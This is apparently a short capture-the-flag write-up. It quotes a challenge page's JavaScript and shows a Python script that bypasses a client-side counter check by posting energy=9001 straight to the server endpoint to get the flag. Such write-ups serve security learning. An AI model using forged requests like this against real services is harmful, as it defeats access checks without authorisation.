Visit the site. Head to Chrome Dev Tools –> Sources. Here’s the .js file controlling it all:

let currentEnergy = 0;

function gatheringEnergy(){
    currentEnergy++;
    $("#energycount").html(`${currentEnergy}`);
    if(currentEnergy == 10)
    {
        alert("out of energy try again :(")
        currentEnergy = 0;
        $("#energycount").html(0);
        
    }
    else if (currentEnergy > 9000)
    {
        
        $.ajax({
            type:"POST",
            url:"kamehameha.php",
            data:{energy: currentEnergy},
            success: function(flag){
                alert(`${flag}`);
            },
            error: function(responseText,status, error){
                console.log(`Tell the infrastructure team to fix this: Status = ${status} ; Error = ${error}`);
            }


        })
        
    }
}

So it’s impossible to actually get to over 9000. However, we can just send a POST request ourselves to kamehameha.php! Here’s a script that does just that:

from requests import post

d = dict()
d["energy"] = 9001
res = post("http://3.23.56.243:9005/kamehameha.php", d).text
print(res)

And we get the flag!
